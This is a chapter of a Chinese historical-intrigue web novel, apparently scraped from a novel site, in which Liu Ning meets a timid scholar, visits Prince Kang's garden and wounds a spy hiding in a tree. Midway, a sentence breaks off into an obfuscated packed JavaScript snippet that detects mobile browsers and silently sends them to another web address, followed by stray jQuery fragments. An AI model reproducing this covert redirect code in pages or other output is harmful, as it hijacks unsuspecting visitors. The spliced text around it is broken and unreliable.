柳三手里紧紧握着一本因翻阅过太多次而折皱了的书,等书页上多洒下了一片阴影时,他才肯抬起头来,只是,对视了一眼之后,他又有些胆怯地低下头来,但是这个陌生的女子又冷冰冰地喊着他的名字,她虽看起来柔和,但举止间的震慑力还是有的,他好像不得不站起来。
“你……你是……”柳三有些害怕地问道。
可柳凝看到他的样子,就气不打一处来。先说此人的相貌,亏得他的自画像将自己修饰得那么威武雄壮,可不过就是一个面容清秀的书生——甚至是带着些弱不禁风的病态。再者,就是柳回时曾在自传中将自己写成一个完美的武将,什么十八般武艺样样精通,如今一见,不如不见。
那些夸赞的话在此刻就像一颗颗钉子,将他死死地钉在耻辱架上。
保险起见,柳凝问了柳三的父母的名字、籍贯,他竟然没有一点防备心,结结巴巴地吐了出来,和书上的都对的上。
但,柳凝还抱着最后一丝幻想。
她一手抡起柴火堆上的一根,以迅雷不及掩耳之势朝柳三刺去,柴火就这么停在离他咽喉一毫之处,而柳三就仿佛被点穴定住一般一动不动,只有眼球反应过来,转向下散焦地盯着那多往前一寸便可夺走他性命的柴火上。
风过,撩起柳凝耳畔的碎发,一两缕青丝在随风飘舞时被瞬间斩断,无力地坠落。
柳凝睇望脖颈一侧,那里正架着一把斧子。什么都没说,又像什么都说了。
柳凝用力一甩长袖,手中的柴火回归原位,吴容衡自然也放下对着她的斧子。
柳凝只觉得此刻气涌如山,一言不发地阔步离开。
吴容衡用手在柳三面前晃了晃,连眼珠也不转了。
应该是被吓呆了。吴容衡想。
从未见过如此厚颜无耻之徒。柳凝想。不过走出客栈前,她还是极力管住自己的面部表情,压下流露在外的气愤。
走在街上,柳凝得思考的东西又多了。见面之前,她可能只需要考虑如何提醒柳回时保住属于自己的功绩,可如今……她只能边叹气边想法子。
可话说回来,这一路上似乎一直有些东西干扰着柳凝思考,总是偷偷塞给她一些似有若无的熟悉感。她缓步而行,四处观望,嘴角勾起一抹意味不明的笑。
灯街处处挂明灯,多样多变,但占据主导地位的只能是桃瓣形状的灯笼。宛如花雨,宛若花语。可偏偏就是那么巧,这些灯与千露头上别着的罕见的发簪竟然极为相似。柳凝不相信真有这么巧。
但这件对她来说无聊的事并没有驻足在她心里,接下来,她走进了一间专卖书画的铺子。
里头挂着各式各样的书画,其间往来者多是富贾与名门望族,铺外一眼便知所售之物的珍贵。
通过对林府的踩点与观察,柳凝也知道了些有用的讯息,比如林老夫人喜爱字画,特别是花鸟图。那她便借这喜好,作一篇好文章。
她先在铺子里煞有介事地观赏起来,然后酝酿出一份遗憾,问店家:“你这儿可有万情的亲迹?”
“想要这个的话,小店恐怕不能满足这位客官了。”柳凝要的就是这个答案,不过,她也顺便包下了这家铺子里一幅中规中矩的画。闲逛之际,她也看到了晏观的画,确实很不错。只不过,陈列在铺子里的画以及作图人,她多多少少都听说过,可唯独晏观,她从未听说过。可按他的绘图技法和水平而言,不该会是这样。
“小姐,您的画。”店家恭敬地递上来,翠翎接下。“多谢。”
——
“小姐,我们拿着画去康王府上做什么啊?”
“待会儿你就知道了。”
在康王府的前厅中,柳凝刚坐下,管事的就屁颠屁颠赶上来,恭恭敬敬地行礼:“林小姐——”
柳凝微微颔首以示回应,“不知康王可在府上。”
“康王殿下今日一大早便出府办事了,至今未归。不知林小姐是否愿意等等?”管事的向柳凝投去殷切的目光。
“我今日无事,等等也无妨。”
管事笑着点头,往后稍微退了一小步,便进来了一行丫鬟,每人手上都端着一盘各色的点心,“还望林小姐满意。”
柳凝淡淡地扫了一眼这些点心,心里不为所动,她压根没想去碰这些点心。
只是稍微等了一会儿,便又来了一人。“康王府上有一处花圃,今日新栽了些花,怕林小姐无聊,管事的特意要我来问问林小姐愿不愿意去瞧瞧。”
这下柳凝更觉得奇怪了,如果是这么多点心端上来,她可以将此认为是康王财大气粗。但在康王不在的情况下,邀请一位宾客去花圃,若不是既定的惯例,那就……
“但未得康王应允,恐怕……”柳凝故意问道。
“是您的话,那便无妨。”这句话耐人寻味。
“那便劳烦带路了。”
柳凝边走边暗中观察康王府的布局、路径,同样,她也注意着这府上出没的人员,这样的事她很擅长,这也是她答应下来的目的之一。
“请——”
这花圃的面积很大,陈列有序,正中央嵌着一眼清泊,湖泊上伫立着八角亭,檐缘似雄鹰舒展的羽翼,气势磅礴。
柳凝向来不喜欢这些花花草草,但是林言絮喜欢,她也只好挑起兴致欣赏起来,提防暗处的眼睛。
等潦草地完成这个无聊的任务之后,柳凝也并不想再多耗下去,便借口离开。
等她走后——
“康王殿下——”管事的恭敬地在一旁弯着腰行礼,等另一道低沉的声音响起后,才敢直起身子。
“下去吧。”
康王走近女子方才触摸过的牡丹花前,目光深邃。
湖泊上漂浮着几朵鲜艳的牡丹花,娇艳被清水吞噬,引得鱼儿争相围观。
而府门前的台阶上多了一个落寞的背影,他挺直着身子,却有落寞相围簇。这回他仍旧没能跨入府门,算下来,被拒之门外已经不知多少次了。
只是今天,他瞧见了一张熟悉的面庞,确实,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296912|182236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很像她的父亲——自从那次变故之后,他们没有再见过,但他还是清楚地记得那张脸。
想来,如果那场梦是真的话,她应该也同自己一样了吧。
本来就是他希望的,如今美梦成真,他应该无比高兴的。但,康王府前的石阶上,还是多印了几滴泪。
——
晚间开窗,今早消失的那团阴影又出现了。
柳凝无奈,把翠翎叫来:“你看,那儿是不是藏着一个人?”
翠翎顺着她指的方向,定睛一看,半晌也没有看出什么名堂。柳凝叹气,说:“那你去把巡夜的家丁叫来,但先别惊动祖母和母亲他们。”
翠翎再次尝试一次看出那方的异样,很快就放弃了,顺着指示叫来家丁。柳凝则仍旧在窗口监视着那个人。
今夜无月,这棵百年大树生长得郁郁葱葱,成为藏身的最佳处所。等家丁聚在树下高举火把想看出树上的端倪时,柳凝直接反手射出一把匕首。
树枝震动,掉落大量折断的树叶和枝杈。众人听见匕首插入树干的声音,都有些震惊又钦佩。
见那人还没放弃躲在树上,柳凝又掏出一把匕首准备攻击,但转眼就见一人从一片阴影中飞了出去,动作太快使柳凝不便瞄准,但从他的动作来看,右腿明显受伤了。再看他的身形,柳凝勾了勾唇。
不过第二日,消息很快就传遍了林府。林老夫人则是最担心的一个,一听此事便急忙找来柳凝,用眼睛上上下下检查了一番:“言絮啊,昨晚当真有人藏在你院中的那棵树上?”
“确有此事,不过祖母不必担心,我未受伤。”
林老夫人放心地松了一口气,一旁的丫鬟连忙殷勤地上前献策:“奴婢想到了一个计策。”
“哦?说来听听。”
“不如将那棵树直接砍倒,这下……”
“胡话!”林老夫人直接一股气站起来,恨铁不成钢地瞪着丫鬟,“那是先皇亲手种下的树,你想砍?!”
那丫鬟本来还得意洋洋,一听这话,吓得直接哭着磕头求饶。
“罢了,林府容不下你了。”林老夫人一摆手,身旁年纪大些的奴婢会意,直接将她拉了下去,但那人还在不停哭喊着求饶。
“祖母,消消气。”柳凝瞄准时机送上安慰。
林老夫人一时怒气攻心,捂着胸口:“罢了,罢了,尽是些惹人心烦的……你先出去吧,让我一个人静一静。”
“是。”柳凝虽面上看起来依依不舍、满是担忧,但这正合她意。
翠翎捧着画,小跑着才能跟上柳凝的步伐,“小姐,老夫人气还未消,我们现在出府好吗?”
柳凝心下奇怪,明明是老夫人自己说要静静心,如今怎么又怪在她头上了。但她嘴上还是温柔地说:“如果一件事让你觉得心烦,那么此时告诉你一个喜讯的话,欢喜是不是就会抵去一部分怒气了?”
翠翎听完后,也觉得有道理,“那小姐是要去办一件让老夫人开心的事?”
“正是!”